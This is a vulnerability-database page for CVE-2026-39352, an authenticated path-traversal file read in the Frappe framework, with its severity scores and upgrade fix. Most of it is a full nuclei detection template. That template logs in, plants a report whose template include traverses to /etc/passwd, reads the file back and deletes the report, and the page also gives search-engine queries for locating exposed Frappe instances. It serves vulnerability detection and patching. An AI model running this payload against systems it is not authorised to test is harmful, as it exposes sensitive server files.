HexBrain

Browse / CVEs / CVE-2026-39352

CVE-2026-39352· frappe / frappe· CWE-22

Frappe Framework < 16.15.0 - Arbitrary File Read via render_include Path Traversal

mediumseverity
6.5CVSS score
1.3%likelihood of exploitation, next 30 days
70%of all CVEs are less likely
Readycheck to confirm it

Frappe is a full-stack web application framework. Versions prior to 15.105.0 and 16.15.0 contain a possible Arbitrary File Read vulnerability via Path Traversal. The issue is resolved in versions 16.15.0, 15.105.0 and above.

Impact

Attackers can read arbitrary files, potentially exposing sensitive information.

Fix

Update to version 15.105.0, 16.15.0 or later.

How to confirm it

Send: POST /api/method/login
Positive when: contains "Logged In"
Send: POST /api/resource/Report
Positive when: status_code == 200 and contains(body, "nuclei_cve2026_39352")
Send: GET /api/method/frappe.desk.query_report.get_script?report_name=nuclei_cve2026_39352_{{randstr}}
Positive when: regex('root:.*:0:0:', body) and contains(content_type, "application/json") and status_code == 200
Send: DELETE /api/resource/Report/nuclei_cve2026_39352_{{randstr}}
Positive when: contains_all(body, "data","ok") and contains(content_type, "application/json") and status_code == 202

Run it with nuclei: nuclei -id CVE-2026-39352 -u <target>

The full check
id: CVE-2026-39352

info:
  name: Frappe Framework < 16.15.0 - Arbitrary File Read via render_include Path Traversal
  author: DhiyaneshDK
  severity: medium
  description: |
    Frappe is a full-stack web application framework. Versions prior to 15.105.0 and 16.15.0 contain a possible Arbitrary File Read vulnerability via Path Traversal. The issue is resolved in versions 16.15.0, 15.105.0 and above.
  impact: |
    Attackers can read arbitrary files, potentially exposing sensitive information.
  remediation: Update to version 15.105.0, 16.15.0 or later.
  reference:
    - https://github.com/frappe/frappe/security/advisories/GHSA-67rf-pxgh-vfqv
    - https://github.com/frappe/frappe/commit/b5ab941788f6232b4f9313432ea7bfb61389fbfd
    - https://github.com/frappe/frappe/pull/38215
    - https://nvd.nist.gov/vuln/detail/CVE-2026-39352
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2026-39352
    epss-score: 0.01279
    epss-percentile: 0.70235
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 4
    vendor: frappe
    product: frappe
    shodan-query: http.title:"Login" http.html:"frappe"
    fofa-query: title="Login" && body="frappe"
  tags: cve,cve2026,frappe,lfi,authenticated,file-read

flow: http(1) && http(2) && http(3) && http(4)

variables:
  username: "{{username}}"
  password: "{{password}}"

http:
  - raw:
      - |
        POST /api/method/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        usr={{username}}&pwd={{password}}

    matchers:
      - type: word
        part: body
        words:
          - "Logged In"
        internal: true

  - raw:
      - |
        POST /api/resource/Report HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"doctype":"Report","report_name":"nuclei_cve2026_39352_{{randstr}}","report_type":"Script Report","ref_doctype":"User","is_standard":"No","disabled":0,"javascript":"{% include 'frappe/../../../../../../../../../../etc/passwd' %}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "nuclei_cve2026_39352")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/method/frappe.desk.query_report.get_script?report_name=nuclei_cve2026_39352_{{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - regex('root:.*:0:0:', body)
          - contains(content_type, "application/json")
          - status_code == 200
        condition: and

  - raw:
      - |
        DELETE /api/resource/Report/nuclei_cve2026_39352_{{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, "data","ok")
          - contains(content_type, "application/json")
          - status_code == 202
        condition: and
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from